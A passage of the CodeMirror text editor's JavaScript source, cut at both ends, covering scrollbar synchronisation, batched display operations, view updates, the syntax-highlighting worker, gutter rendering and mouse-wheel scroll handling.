{};\nNullScrollbars.prototype.clear = function () {};\n\nfunction updateScrollbars(cm, measure) {\n  if (!measure) { measure = measureForScrollbars(cm); }\n  var startWidth = cm.display.barWidth, startHeight = cm.display.barHeight;\n  updateScrollbarsInner(cm, measure);\n  for (var i = 0; i < 4 && startWidth != cm.display.barWidth || startHeight != cm.display.barHeight; i++) {\n    if (startWidth != cm.display.barWidth && cm.options.lineWrapping)\n      { updateHeightsInViewport(cm); }\n    updateScrollbarsInner(cm, measureForScrollbars(cm));\n    startWidth = cm.display.barWidth; startHeight = cm.display.barHeight;\n  }\n}\n\n// Re-synchronize the fake scrollbars with the actual size of the\n// content.\nfunction updateScrollbarsInner(cm, measure) {\n  var d = cm.display;\n  var sizes = d.scrollbars.update(measure);\n\n  d.sizer.style.paddingRight = (d.barWidth = sizes.right) + \"px\";\n  d.sizer.style.paddingBottom = (d.barHeight = sizes.bottom) + \"px\";\n  d.heightForcer.style.borderBottom = sizes.bottom + \"px solid transparent\";\n\n  if (sizes.right && sizes.bottom) {\n    d.scrollbarFiller.style.display = \"block\";\n    d.scrollbarFiller.style.height = sizes.bottom + \"px\";\n    d.scrollbarFiller.style.width = sizes.right + \"px\";\n  } else { d.scrollbarFiller.style.display = \"\"; }\n  if (sizes.bottom && cm.options.coverGutterNextToScrollbar && cm.options.fixedGutter) {\n    d.gutterFiller.style.display = \"block\";\n    d.gutterFiller.style.height = sizes.bottom + \"px\";\n    d.gutterFiller.style.width = measure.gutterWidth + \"px\";\n  } else { d.gutterFiller.style.display = \"\"; }\n}\n\nvar scrollbarModel = {\"native\": NativeScrollbars, \"null\": NullScrollbars};\n\nfunction initScrollbars(cm) {\n  if (cm.display.scrollbars) {\n    cm.display.scrollbars.clear();\n    if (cm.display.scrollbars.addClass)\n      { rmClass(cm.display.wrapper, cm.display.scrollbars.addClass); }\n  }\n\n  cm.display.scrollbars = new scrollbarModel[cm.options.scrollbarStyle](function (node) {\n    cm.display.wrapper.insertBefore(node, cm.display.scrollbarFiller);\n    // Prevent clicks in the scrollbars from killing focus\n    on(node, \"mousedown\", function () {\n      if (cm.state.focused) { setTimeout(function () { return cm.display.input.focus(); }, 0); }\n    });\n    node.setAttribute(\"cm-not-content\", \"true\");\n  }, function (pos, axis) {\n    if (axis == \"horizontal\") { setScrollLeft(cm, pos); }\n    else { updateScrollTop(cm, pos); }\n  }, cm);\n  if (cm.display.scrollbars.addClass)\n    { addClass(cm.display.wrapper, cm.display.scrollbars.addClass); }\n}\n\n// Operations are used to wrap a series of changes to the editor\n// state in such a way that each change won't have to update the\n// cursor and display (which would be awkward, slow, and\n// error-prone). Instead, display updates are batched and then all\n// combined and executed at once.\n\nvar nextOpId = 0;\n// Start a new operation.\nfunction startOperation(cm) {\n  cm.curOp = {\n    cm: cm,\n    viewChanged: false,      // Flag that indicates that lines might need to be redrawn\n    startHeight: cm.doc.height, // Used to detect need to update scrollbar\n    forceUpdate: false,      // Used to force a redraw\n    updateInput: null,       // Whether to reset the input textarea\n    typing: false,           // Whether this reset should be careful to leave existing text (for compositing)\n    changeObjs: null,        // Accumulated changes, for firing change events\n    cursorActivityHandlers: null, // Set of handlers to fire cursorActivity on\n    cursorActivityCalled: 0, // Tracks which cursorActivity handlers have been called already\n    selectionChanged: false, // Whether the selection needs to be redrawn\n    updateMaxLine: false,    // Set when the widest line needs to be determined anew\n    scrollLeft: null, scrollTop: null, // Intermediate scroll position, not pushed to DOM yet\n    scrollToPos: null,       // Used to scroll to a specific position\n    focus: false,\n    id: ++nextOpId           // Unique ID\n  };\n  pushOperation(cm.curOp);\n}\n\n// Finish an operation, updating the display and signalling delayed events\nfunction endOperation(cm) {\n  var op = cm.curOp;\n  finishOperation(op, function (group) {\n    for (var i = 0; i < group.ops.length; i++)\n      { group.ops[i].cm.curOp = null; }\n    endOperations(group);\n  });\n}\n\n// The DOM updates done when an operation finishes are batched so\n// that the minimum number of relayouts are required.\nfunction endOperations(group) {\n  var ops = group.ops;\n  for (var i = 0; i < ops.length; i++) // Read DOM\n    { endOperation_R1(ops[i]); }\n  for (var i$1 = 0; i$1 < ops.length; i$1++) // Write DOM (maybe)\n    { endOperation_W1(ops[i$1]); }\n  for (var i$2 = 0; i$2 < ops.length; i$2++) // Read DOM\n    { endOperation_R2(ops[i$2]); }\n  for (var i$3 = 0; i$3 < ops.length; i$3++) // Write DOM (maybe)\n    { endOperation_W2(ops[i$3]); }\n  for (var i$4 = 0; i$4 < ops.length; i$4++) // Read DOM\n    { endOperation_finish(ops[i$4]); }\n}\n\nfunction endOperation_R1(op) {\n  var cm = op.cm, display = cm.display;\n  maybeClipScrollbars(cm);\n  if (op.updateMaxLine) { findMaxLine(cm); }\n\n  op.mustUpdate = op.viewChanged || op.forceUpdate || op.scrollTop != null ||\n    op.scrollToPos && (op.scrollToPos.from.line < display.viewFrom ||\n                       op.scrollToPos.to.line >= display.viewTo) ||\n    display.maxLineChanged && cm.options.lineWrapping;\n  op.update = op.mustUpdate &&\n    new DisplayUpdate(cm, op.mustUpdate && {top: op.scrollTop, ensure: op.scrollToPos}, op.forceUpdate);\n}\n\nfunction endOperation_W1(op) {\n  op.updatedDisplay = op.mustUpdate && updateDisplayIfNeeded(op.cm, op.update);\n}\n\nfunction endOperation_R2(op) {\n  var cm = op.cm, display = cm.display;\n  if (op.updatedDisplay) { updateHeightsInViewport(cm); }\n\n  op.barMeasure = measureForScrollbars(cm);\n\n  // If the max line changed since it was last measured, measure it,\n  // and ensure the document's width matches it.\n  // updateDisplay_W2 will use these properties to do the actual resizing\n  if (display.maxLineChanged && !cm.options.lineWrapping) {\n    op.adjustWidthTo = measureChar(cm, display.maxLine, display.maxLine.text.length).left + 3;\n    cm.display.sizerWidth = op.adjustWidthTo;\n    op.barMeasure.scrollWidth =\n      Math.max(display.scroller.clientWidth, display.sizer.offsetLeft + op.adjustWidthTo + scrollGap(cm) + cm.display.barWidth);\n    op.maxScrollLeft = Math.max(0, display.sizer.offsetLeft + op.adjustWidthTo - displayWidth(cm));\n  }\n\n  if (op.updatedDisplay || op.selectionChanged)\n    { op.preparedSelection = display.input.prepareSelection(op.focus); }\n}\n\nfunction endOperation_W2(op) {\n  var cm = op.cm;\n\n  if (op.adjustWidthTo != null) {\n    cm.display.sizer.style.minWidth = op.adjustWidthTo + \"px\";\n    if (op.maxScrollLeft < cm.doc.scrollLeft)\n      { setScrollLeft(cm, Math.min(cm.display.scroller.scrollLeft, op.maxScrollLeft), true); }\n    cm.display.maxLineChanged = false;\n  }\n\n  var takeFocus = op.focus && op.focus == activeElt() && (!document.hasFocus || document.hasFocus());\n  if (op.preparedSelection)\n    { cm.display.input.showSelection(op.preparedSelection, takeFocus); }\n  if (op.updatedDisplay || op.startHeight != cm.doc.height)\n    { updateScrollbars(cm, op.barMeasure); }\n  if (op.updatedDisplay)\n    { setDocumentHeight(cm, op.barMeasure); }\n\n  if (op.selectionChanged) { restartBlink(cm); }\n\n  if (cm.state.focused && op.updateInput)\n    { cm.display.input.reset(op.typing); }\n  if (takeFocus) { ensureFocus(op.cm); }\n}\n\nfunction endOperation_finish(op) {\n  var cm = op.cm, display = cm.display, doc = cm.doc;\n\n  if (op.updatedDisplay) { postUpdateDisplay(cm, op.update); }\n\n  // Abort mouse wheel delta measurement, when scrolling explicitly\n  if (display.wheelStartX != null && (op.scrollTop != null || op.scrollLeft != null || op.scrollToPos))\n    { display.wheelStartX = display.wheelStartY = null; }\n\n  // Propagate the scroll position to the actual DOM scroller\n  if (op.scrollTop != null) { setScrollTop(cm, op.scrollTop, op.forceScroll); }\n\n  if (op.scrollLeft != null) { setScrollLeft(cm, op.scrollLeft, true, true); }\n  // If we need to scroll a specific position into view, do so.\n  if (op.scrollToPos) {\n    var rect = scrollPosIntoView(cm, clipPos(doc, op.scrollToPos.from),\n                                 clipPos(doc, op.scrollToPos.to), op.scrollToPos.margin);\n    maybeScrollWindow(cm, rect);\n  }\n\n  // Fire events for markers that are hidden/unidden by editing or\n  // undoing\n  var hidden = op.maybeHiddenMarkers, unhidden = op.maybeUnhiddenMarkers;\n  if (hidden) { for (var i = 0; i < hidden.length; ++i)\n    { if (!hidden[i].lines.length) { signal(hidden[i], \"hide\"); } } }\n  if (unhidden) { for (var i$1 = 0; i$1 < unhidden.length; ++i$1)\n    { if (unhidden[i$1].lines.length) { signal(unhidden[i$1], \"unhide\"); } } }\n\n  if (display.wrapper.offsetHeight)\n    { doc.scrollTop = cm.display.scroller.scrollTop; }\n\n  // Fire change events, and delayed event handlers\n  if (op.changeObjs)\n    { signal(cm, \"changes\", cm, op.changeObjs); }\n  if (op.update)\n    { op.update.finish(); }\n}\n\n// Run the given function in an operation\nfunction runInOp(cm, f) {\n  if (cm.curOp) { return f() }\n  startOperation(cm);\n  try { return f() }\n  finally { endOperation(cm); }\n}\n// Wraps a function in an operation. Returns the wrapped function.\nfunction operation(cm, f) {\n  return function() {\n    if (cm.curOp) { return f.apply(cm, arguments) }\n    startOperation(cm);\n    try { return f.apply(cm, arguments) }\n    finally { endOperation(cm); }\n  }\n}\n// Used to add methods to editor and doc instances, wrapping them in\n// operations.\nfunction methodOp(f) {\n  return function() {\n    if (this.curOp) { return f.apply(this, arguments) }\n    startOperation(this);\n    try { return f.apply(this, arguments) }\n    finally { endOperation(this); }\n  }\n}\nfunction docMethodOp(f) {\n  return function() {\n    var cm = this.cm;\n    if (!cm || cm.curOp) { return f.apply(this, arguments) }\n    startOperation(cm);\n    try { return f.apply(this, arguments) }\n    finally { endOperation(cm); }\n  }\n}\n\n// Updates the display.view data structure for a given change to the\n// document. From and to are in pre-change coordinates. Lendiff is\n// the amount of lines added or subtracted by the change. This is\n// used for changes that span multiple lines, or change the way\n// lines are divided into visual lines. regLineChange (below)\n// registers single-line changes.\nfunction regChange(cm, from, to, lendiff) {\n  if (from == null) { from = cm.doc.first; }\n  if (to == null) { to = cm.doc.first + cm.doc.size; }\n  if (!lendiff) { lendiff = 0; }\n\n  var display = cm.display;\n  if (lendiff && to < display.viewTo &&\n      (display.updateLineNumbers == null || display.updateLineNumbers > from))\n    { display.updateLineNumbers = from; }\n\n  cm.curOp.viewChanged = true;\n\n  if (from >= display.viewTo) { // Change after\n    if (sawCollapsedSpans && visualLineNo(cm.doc, from) < display.viewTo)\n      { resetView(cm); }\n  } else if (to <= display.viewFrom) { // Change before\n    if (sawCollapsedSpans && visualLineEndNo(cm.doc, to + lendiff) > display.viewFrom) {\n      resetView(cm);\n    } else {\n      display.viewFrom += lendiff;\n      display.viewTo += lendiff;\n    }\n  } else if (from <= display.viewFrom && to >= display.viewTo) { // Full overlap\n    resetView(cm);\n  } else if (from <= display.viewFrom) { // Top overlap\n    var cut = viewCuttingPoint(cm, to, to + lendiff, 1);\n    if (cut) {\n      display.view = display.view.slice(cut.index);\n      display.viewFrom = cut.lineN;\n      display.viewTo += lendiff;\n    } else {\n      resetView(cm);\n    }\n  } else if (to >= display.viewTo) { // Bottom overlap\n    var cut$1 = viewCuttingPoint(cm, from, from, -1);\n    if (cut$1) {\n      display.view = display.view.slice(0, cut$1.index);\n      display.viewTo = cut$1.lineN;\n    } else {\n      resetView(cm);\n    }\n  } else { // Gap in the middle\n    var cutTop = viewCuttingPoint(cm, from, from, -1);\n    var cutBot = viewCuttingPoint(cm, to, to + lendiff, 1);\n    if (cutTop && cutBot) {\n      display.view = display.view.slice(0, cutTop.index)\n        .concat(buildViewArray(cm, cutTop.lineN, cutBot.lineN))\n        .concat(display.view.slice(cutBot.index));\n      display.viewTo += lendiff;\n    } else {\n      resetView(cm);\n    }\n  }\n\n  var ext = display.externalMeasured;\n  if (ext) {\n    if (to < ext.lineN)\n      { ext.lineN += lendiff; }\n    else if (from < ext.lineN + ext.size)\n      { display.externalMeasured = null; }\n  }\n}\n\n// Register a change to a single line. Type must be one of \"text\",\n// \"gutter\", \"class\", \"widget\"\nfunction regLineChange(cm, line, type) {\n  cm.curOp.viewChanged = true;\n  var display = cm.display, ext = cm.display.externalMeasured;\n  if (ext && line >= ext.lineN && line < ext.lineN + ext.size)\n    { display.externalMeasured = null; }\n\n  if (line < display.viewFrom || line >= display.viewTo) { return }\n  var lineView = display.view[findViewIndex(cm, line)];\n  if (lineView.node == null) { return }\n  var arr = lineView.changes || (lineView.changes = []);\n  if (indexOf(arr, type) == -1) { arr.push(type); }\n}\n\n// Clear the view.\nfunction resetView(cm) {\n  cm.display.viewFrom = cm.display.viewTo = cm.doc.first;\n  cm.display.view = [];\n  cm.display.viewOffset = 0;\n}\n\nfunction viewCuttingPoint(cm, oldN, newN, dir) {\n  var index = findViewIndex(cm, oldN), diff, view = cm.display.view;\n  if (!sawCollapsedSpans || newN == cm.doc.first + cm.doc.size)\n    { return {index: index, lineN: newN} }\n  var n = cm.display.viewFrom;\n  for (var i = 0; i < index; i++)\n    { n += view[i].size; }\n  if (n != oldN) {\n    if (dir > 0) {\n      if (index == view.length - 1) { return null }\n      diff = (n + view[index].size) - oldN;\n      index++;\n    } else {\n      diff = n - oldN;\n    }\n    oldN += diff; newN += diff;\n  }\n  while (visualLineNo(cm.doc, newN) != newN) {\n    if (index == (dir < 0 ? 0 : view.length - 1)) { return null }\n    newN += dir * view[index - (dir < 0 ? 1 : 0)].size;\n    index += dir;\n  }\n  return {index: index, lineN: newN}\n}\n\n// Force the view to cover a given range, adding empty view element\n// or clipping off existing ones as needed.\nfunction adjustView(cm, from, to) {\n  var display = cm.display, view = display.view;\n  if (view.length == 0 || from >= display.viewTo || to <= display.viewFrom) {\n    display.view = buildViewArray(cm, from, to);\n    display.viewFrom = from;\n  } else {\n    if (display.viewFrom > from)\n      { display.view = buildViewArray(cm, from, display.viewFrom).concat(display.view); }\n    else if (display.viewFrom < from)\n      { display.view = display.view.slice(findViewIndex(cm, from)); }\n    display.viewFrom = from;\n    if (display.viewTo < to)\n      { display.view = display.view.concat(buildViewArray(cm, display.viewTo, to)); }\n    else if (display.viewTo > to)\n      { display.view = display.view.slice(0, findViewIndex(cm, to)); }\n  }\n  display.viewTo = to;\n}\n\n// Count the number of lines in the view whose DOM representation is\n// out of date (or nonexistent).\nfunction countDirtyView(cm) {\n  var view = cm.display.view, dirty = 0;\n  for (var i = 0; i < view.length; i++) {\n    var lineView = view[i];\n    if (!lineView.hidden && (!lineView.node || lineView.changes)) { ++dirty; }\n  }\n  return dirty\n}\n\n// HIGHLIGHT WORKER\n\nfunction startWorker(cm, time) {\n  if (cm.doc.highlightFrontier < cm.display.viewTo)\n    { cm.state.highlight.set(time, bind(highlightWorker, cm)); }\n}\n\nfunction highlightWorker(cm) {\n  var doc = cm.doc;\n  if (doc.highlightFrontier >= cm.display.viewTo) { return }\n  var end = +new Date + cm.options.workTime;\n  var context = getContextBefore(cm, doc.highlightFrontier);\n  var changedLines = [];\n\n  doc.iter(context.line, Math.min(doc.first + doc.size, cm.display.viewTo + 500), function (line) {\n    if (context.line >= cm.display.viewFrom) { // Visible\n      var oldStyles = line.styles;\n      var resetState = line.text.length > cm.options.maxHighlightLength ? copyState(doc.mode, context.state) : null;\n      var highlighted = highlightLine(cm, line, context, true);\n      if (resetState) { context.state = resetState; }\n      line.styles = highlighted.styles;\n      var oldCls = line.styleClasses, newCls = highlighted.classes;\n      if (newCls) { line.styleClasses = newCls; }\n      else if (oldCls) { line.styleClasses = null; }\n      var ischange = !oldStyles || oldStyles.length != line.styles.length ||\n        oldCls != newCls && (!oldCls || !newCls || oldCls.bgClass != newCls.bgClass || oldCls.textClass != newCls.textClass);\n      for (var i = 0; !ischange && i < oldStyles.length; ++i) { ischange = oldStyles[i] != line.styles[i]; }\n      if (ischange) { changedLines.push(context.line); }\n      line.stateAfter = context.save();\n      context.nextLine();\n    } else {\n      if (line.text.length <= cm.options.maxHighlightLength)\n        { processLine(cm, line.text, context); }\n      line.stateAfter = context.line % 5 == 0 ? context.save() : null;\n      context.nextLine();\n    }\n    if (+new Date > end) {\n      startWorker(cm, cm.options.workDelay);\n      return true\n    }\n  });\n  doc.highlightFrontier = context.line;\n  doc.modeFrontier = Math.max(doc.modeFrontier, context.line);\n  if (changedLines.length) { runInOp(cm, function () {\n    for (var i = 0; i < changedLines.length; i++)\n      { regLineChange(cm, changedLines[i], \"text\"); }\n  }); }\n}\n\n// DISPLAY DRAWING\n\nvar DisplayUpdate = function(cm, viewport, force) {\n  var display = cm.display;\n\n  this.viewport = viewport;\n  // Store some values that we'll need later (but don't want to force a relayout for)\n  this.visible = visibleLines(display, cm.doc, viewport);\n  this.editorIsHidden = !display.wrapper.offsetWidth;\n  this.wrapperHeight = display.wrapper.clientHeight;\n  this.wrapperWidth = display.wrapper.clientWidth;\n  this.oldDisplayWidth = displayWidth(cm);\n  this.force = force;\n  this.dims = getDimensions(cm);\n  this.events = [];\n};\n\nDisplayUpdate.prototype.signal = function (emitter, type) {\n  if (hasHandler(emitter, type))\n    { this.events.push(arguments); }\n};\nDisplayUpdate.prototype.finish = function () {\n    var this$1 = this;\n\n  for (var i = 0; i < this.events.length; i++)\n    { signal.apply(null, this$1.events[i]); }\n};\n\nfunction maybeClipScrollbars(cm) {\n  var display = cm.display;\n  if (!display.scrollbarsClipped && display.scroller.offsetWidth) {\n    display.nativeBarWidth = display.scroller.offsetWidth - display.scroller.clientWidth;\n    display.heightForcer.style.height = scrollGap(cm) + \"px\";\n    display.sizer.style.marginBottom = -display.nativeBarWidth + \"px\";\n    display.sizer.style.borderRightWidth = scrollGap(cm) + \"px\";\n    display.scrollbarsClipped = true;\n  }\n}\n\nfunction selectionSnapshot(cm) {\n  if (cm.hasFocus()) { return null }\n  var active = activeElt();\n  if (!active || !contains(cm.display.lineDiv, active)) { return null }\n  var result = {activeElt: active};\n  if (window.getSelection) {\n    var sel = window.getSelection();\n    if (sel.anchorNode && sel.extend && contains(cm.display.lineDiv, sel.anchorNode)) {\n      result.anchorNode = sel.anchorNode;\n      result.anchorOffset = sel.anchorOffset;\n      result.focusNode = sel.focusNode;\n      result.focusOffset = sel.focusOffset;\n    }\n  }\n  return result\n}\n\nfunction restoreSelection(snapshot) {\n  if (!snapshot || !snapshot.activeElt || snapshot.activeElt == activeElt()) { return }\n  snapshot.activeElt.focus();\n  if (snapshot.anchorNode && contains(document.body, snapshot.anchorNode) && contains(document.body, snapshot.focusNode)) {\n    var sel = window.getSelection(), range$$1 = document.createRange();\n    range$$1.setEnd(snapshot.anchorNode, snapshot.anchorOffset);\n    range$$1.collapse(false);\n    sel.removeAllRanges();\n    sel.addRange(range$$1);\n    sel.extend(snapshot.focusNode, snapshot.focusOffset);\n  }\n}\n\n// Does the actual updating of the line display. Bails out\n// (returning false) when there is nothing to be done and forced is\n// false.\nfunction updateDisplayIfNeeded(cm, update) {\n  var display = cm.display, doc = cm.doc;\n\n  if (update.editorIsHidden) {\n    resetView(cm);\n    return false\n  }\n\n  // Bail out if the visible area is already rendered and nothing changed.\n  if (!update.force &&\n      update.visible.from >= display.viewFrom && update.visible.to <= display.viewTo &&\n      (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo) &&\n      display.renderedView == display.view && countDirtyView(cm) == 0)\n    { return false }\n\n  if (maybeUpdateLineNumberWidth(cm)) {\n    resetView(cm);\n    update.dims = getDimensions(cm);\n  }\n\n  // Compute a suitable new viewport (from & to)\n  var end = doc.first + doc.size;\n  var from = Math.max(update.visible.from - cm.options.viewportMargin, doc.first);\n  var to = Math.min(end, update.visible.to + cm.options.viewportMargin);\n  if (display.viewFrom < from && from - display.viewFrom < 20) { from = Math.max(doc.first, display.viewFrom); }\n  if (display.viewTo > to && display.viewTo - to < 20) { to = Math.min(end, display.viewTo); }\n  if (sawCollapsedSpans) {\n    from = visualLineNo(cm.doc, from);\n    to = visualLineEndNo(cm.doc, to);\n  }\n\n  var different = from != display.viewFrom || to != display.viewTo ||\n    display.lastWrapHeight != update.wrapperHeight || display.lastWrapWidth != update.wrapperWidth;\n  adjustView(cm, from, to);\n\n  display.viewOffset = heightAtLine(getLine(cm.doc, display.viewFrom));\n  // Position the mover div to align with the current scroll position\n  cm.display.mover.style.top = display.viewOffset + \"px\";\n\n  var toUpdate = countDirtyView(cm);\n  if (!different && toUpdate == 0 && !update.force && display.renderedView == display.view &&\n      (display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo))\n    { return false }\n\n  // For big changes, we hide the enclosing element during the\n  // update, since that speeds up the operations on most browsers.\n  var selSnapshot = selectionSnapshot(cm);\n  if (toUpdate > 4) { display.lineDiv.style.display = \"none\"; }\n  patchDisplay(cm, display.updateLineNumbers, update.dims);\n  if (toUpdate > 4) { display.lineDiv.style.display = \"\"; }\n  display.renderedView = display.view;\n  // There might have been a widget with a focused element that got\n  // hidden or updated, if so re-focus it.\n  restoreSelection(selSnapshot);\n\n  // Prevent selection and cursors from interfering with the scroll\n  // width and height.\n  removeChildren(display.cursorDiv);\n  removeChildren(display.selectionDiv);\n  display.gutters.style.height = display.sizer.style.minHeight = 0;\n\n  if (different) {\n    display.lastWrapHeight = update.wrapperHeight;\n    display.lastWrapWidth = update.wrapperWidth;\n    startWorker(cm, 400);\n  }\n\n  display.updateLineNumbers = null;\n\n  return true\n}\n\nfunction postUpdateDisplay(cm, update) {\n  var viewport = update.viewport;\n\n  for (var first = true;; first = false) {\n    if (!first || !cm.options.lineWrapping || update.oldDisplayWidth == displayWidth(cm)) {\n      // Clip forced viewport to actual scrollable area.\n      if (viewport && viewport.top != null)\n        { viewport = {top: Math.min(cm.doc.height + paddingVert(cm.display) - displayHeight(cm), viewport.top)}; }\n      // Updated line heights might result in the drawn area not\n      // actually covering the viewport. Keep looping until it does.\n      update.visible = visibleLines(cm.display, cm.doc, viewport);\n      if (update.visible.from >= cm.display.viewFrom && update.visible.to <= cm.display.viewTo)\n        { break }\n    }\n    if (!updateDisplayIfNeeded(cm, update)) { break }\n    updateHeightsInViewport(cm);\n    var barMeasure = measureForScrollbars(cm);\n    updateSelection(cm);\n    updateScrollbars(cm, barMeasure);\n    setDocumentHeight(cm, barMeasure);\n    update.force = false;\n  }\n\n  update.signal(cm, \"update\", cm);\n  if (cm.display.viewFrom != cm.display.reportedViewFrom || cm.display.viewTo != cm.display.reportedViewTo) {\n    update.signal(cm, \"viewportChange\", cm, cm.display.viewFrom, cm.display.viewTo);\n    cm.display.reportedViewFrom = cm.display.viewFrom; cm.display.reportedViewTo = cm.display.viewTo;\n  }\n}\n\nfunction updateDisplaySimple(cm, viewport) {\n  var update = new DisplayUpdate(cm, viewport);\n  if (updateDisplayIfNeeded(cm, update)) {\n    updateHeightsInViewport(cm);\n    postUpdateDisplay(cm, update);\n    var barMeasure = measureForScrollbars(cm);\n    updateSelection(cm);\n    updateScrollbars(cm, barMeasure);\n    setDocumentHeight(cm, barMeasure);\n    update.finish();\n  }\n}\n\n// Sync the actual display DOM structure with display.view, removing\n// nodes for lines that are no longer in view, and creating the ones\n// that are not there yet, and updating the ones that are out of\n// date.\nfunction patchDisplay(cm, updateNumbersFrom, dims) {\n  var display = cm.display, lineNumbers = cm.options.lineNumbers;\n  var container = display.lineDiv, cur = container.firstChild;\n\n  function rm(node) {\n    var next = node.nextSibling;\n    // Works around a throw-scroll bug in OS X Webkit\n    if (webkit && mac && cm.display.currentWheelTarget == node)\n      { node.style.display = \"none\"; }\n    else\n      { node.parentNode.removeChild(node); }\n    return next\n  }\n\n  var view = display.view, lineN = display.viewFrom;\n  // Loop over the elements in the view, syncing cur (the DOM nodes\n  // in display.lineDiv) with the view as we go.\n  for (var i = 0; i < view.length; i++) {\n    var lineView = view[i];\n    if (lineView.hidden) {\n    } else if (!lineView.node || lineView.node.parentNode != container) { // Not drawn yet\n      var node = buildLineElement(cm, lineView, lineN, dims);\n      container.insertBefore(node, cur);\n    } else { // Already drawn\n      while (cur != lineView.node) { cur = rm(cur); }\n      var updateNumber = lineNumbers && updateNumbersFrom != null &&\n        updateNumbersFrom <= lineN && lineView.lineNumber;\n      if (lineView.changes) {\n        if (indexOf(lineView.changes, \"gutter\") > -1) { updateNumber = false; }\n        updateLineForChanges(cm, lineView, lineN, dims);\n      }\n      if (updateNumber) {\n        removeChildren(lineView.lineNumber);\n        lineView.lineNumber.appendChild(document.createTextNode(lineNumberFor(cm.options, lineN)));\n      }\n      cur = lineView.node.nextSibling;\n    }\n    lineN += lineView.size;\n  }\n  while (cur) { cur = rm(cur); }\n}\n\nfunction updateGutterSpace(cm) {\n  var width = cm.display.gutters.offsetWidth;\n  cm.display.sizer.style.marginLeft = width + \"px\";\n}\n\nfunction setDocumentHeight(cm, measure) {\n  cm.display.sizer.style.minHeight = measure.docHeight + \"px\";\n  cm.display.heightForcer.style.top = measure.docHeight + \"px\";\n  cm.display.gutters.style.height = (measure.docHeight + cm.display.barHeight + scrollGap(cm)) + \"px\";\n}\n\n// Rebuild the gutter elements, ensure the margin to the left of the\n// code matches their width.\nfunction updateGutters(cm) {\n  var gutters = cm.display.gutters, specs = cm.options.gutters;\n  removeChildren(gutters);\n  var i = 0;\n  for (; i < specs.length; ++i) {\n    var gutterClass = specs[i];\n    var gElt = gutters.appendChild(elt(\"div\", null, \"CodeMirror-gutter \" + gutterClass));\n    if (gutterClass == \"CodeMirror-linenumbers\") {\n      cm.display.lineGutter = gElt;\n      gElt.style.width = (cm.display.lineNumWidth || 1) + \"px\";\n    }\n  }\n  gutters.style.display = i ? \"\" : \"none\";\n  updateGutterSpace(cm);\n}\n\n// Make sure the gutters options contains the element\n// \"CodeMirror-linenumbers\" when the lineNumbers option is true.\nfunction setGuttersForLineNumbers(options) {\n  var found = indexOf(options.gutters, \"CodeMirror-linenumbers\");\n  if (found == -1 && options.lineNumbers) {\n    options.gutters = options.gutters.concat([\"CodeMirror-linenumbers\"]);\n  } else if (found > -1 && !options.lineNumbers) {\n    options.gutters = options.gutters.slice(0);\n    options.gutters.splice(found, 1);\n  }\n}\n\n// Since the delta values reported on mouse wheel events are\n// unstandardized between browsers and even browser versions, and\n// generally horribly unpredictable, this code starts by measuring\n// the scroll effect that the first few mouse wheel events have,\n// and, from that, detects the way it can convert deltas to pixel\n// offsets afterwards.\n//\n// The reason we want to know the amount a wheel event will scroll\n// is that it gives us a chance to update the display before the\n// actual scrolling happens, reducing flickering.\n\nvar wheelSamples = 0;\nvar wheelPixelsPerUnit = null;\n// Fill in a browser-detected starting value on browsers where we\n// know one. These don't have to be accurate -- the result of them\n// being wrong would just be a slight flicker on the first wheel\n// scroll (if it is large enough).\nif (ie) { wheelPixelsPerUnit = -.53; }\nelse if (gecko) { wheelPixelsPerUnit = 15; }\nelse if (chrome) { wheelPixelsPerUnit = -.7; }\nelse if (safari) { wheelPixelsPerUnit = -1/3; }\n\nfunction wheelEventDelta(e) {\n  var dx = e.wheelDeltaX, dy = e.wheelDeltaY;\n  if (dx == null && e.detail && e.axis == e.HORIZONTAL_AXIS) { dx = e.detail; }\n  if (dy == null && e.detail && e.axis == e.VERTICAL_AXIS) { dy = e.detail; }\n  else if (dy == null) { dy = e.wheelDelta; }\n  return {x: dx, y: dy}\n}\nfunction wheelEventPixels(e) {\n  var delta = wheelEventDelta(e);\n  delta.x *= wheelPixelsPerUnit;\n  delta.y *= wheelPixelsPerUnit;\n  return delta\n}\n\nfunction onScrollWheel(cm, e) {\n  var delta = wheelEventDelta(e), dx = delta.x, dy = delta.y;\n\n  var display = cm.display, scroll = display.scroller;\n  // Quit if there's nothing to scroll here\n  var canScrollX = scroll.scrollWidth > scroll.clientWidth;\n  var canScrollY = scroll.scrollHeight > scroll.clientHeight;\n  if (!(dx && canScrollX || dy && canScrollY)) { return }\n\n  // Webkit browsers on OS X abort momentum scrolls when the target\n  // of the scroll event is removed from the scrollable element.\n  // This hack (see related code in patchDisplay) makes sure the\n  // element is kept around.\n  if (dy && mac && webkit) {\n    outer: for (var cur = e.target, view = display.view; cur != scroll; cur = cur.parentNode) {\n      for (var i = 0; i < view.length; i++) {\n        if (view[i].node == cur) {\n          cm.display.currentWheelTarget = cur;\n          break outer\n        }\n      }\n    }\n  }\n\n  // On some browsers, horizontal scrolling will cause redraws to\n  // happen before the gutter has been realigned, causing it to\n  // wriggle around in a most unseemly way. When we have an\n  // estimated pixels/delta value, we just handle horizontal\n  // scrolling entirely here. It'll be slightly off from native, but\n  // better than glitching out.\n  if (dx && !gecko && !presto && wheelPixelsPerUnit != null) {\n    if (dy && canScrollY)\n      { updateScrollTop(cm, Math.max(0, scroll.scrollTop + dy * wheelPixelsPerUnit)); }\n    setScrollLeft(cm, Math.max(0, scroll.scrollLeft + dx * wheelPixelsPerUnit));\n    // Only prevent default scrolling if vertical scrolling is\n    // actually possible. Otherwise, it causes vertical scroll\n    // jitter on OSX trackpads when deltaX is small and deltaY\n    // is large (issue #3579)\n    if (!dy || (dy && canScrollY))\n      { e_preventDefault(e); }\n    display.wheelStartX = null; // Abort measurement, if in progress\n    return\n  }\n\n  // 'Project' the visible viewport to cover the area that is being\n  // scrolled into view (if we know enough to estimate it).\n  if (dy && wheelPixelsPerUnit != null) {\n    var pixels = dy * wheelPixelsPerUnit;\n    var top = cm.doc.scrollTop, bot = top + display.wrapper.clientHeight;\n    if (pixels < 0) { top = Math.max(0, top + pixels - 50); }\n    else { bot = Math.min(cm.doc.height, bot + pixels + 50); }\n    updateDisplaySimple(cm, {top: top, bottom: bot});\n  }\n\n  if (wheelSamples < 20) {\n    if (display.wheelStartX == null) {\n      display.wheelStartX = scroll.scrollLeft; display.wheelStartY = scroll.scrollTop;\n      display.wheelDX = dx; display.wheelDY = dy;\n      setTimeout(function () {\n        if (display.wheelStartX == null) { return }\n        var movedX = scroll.scrollLeft - display.wheelStartX;\n        var movedY = scroll.scrollTop - display.wheelStartY;\n        var sample = (movedY && display.wheelDY && movedY / 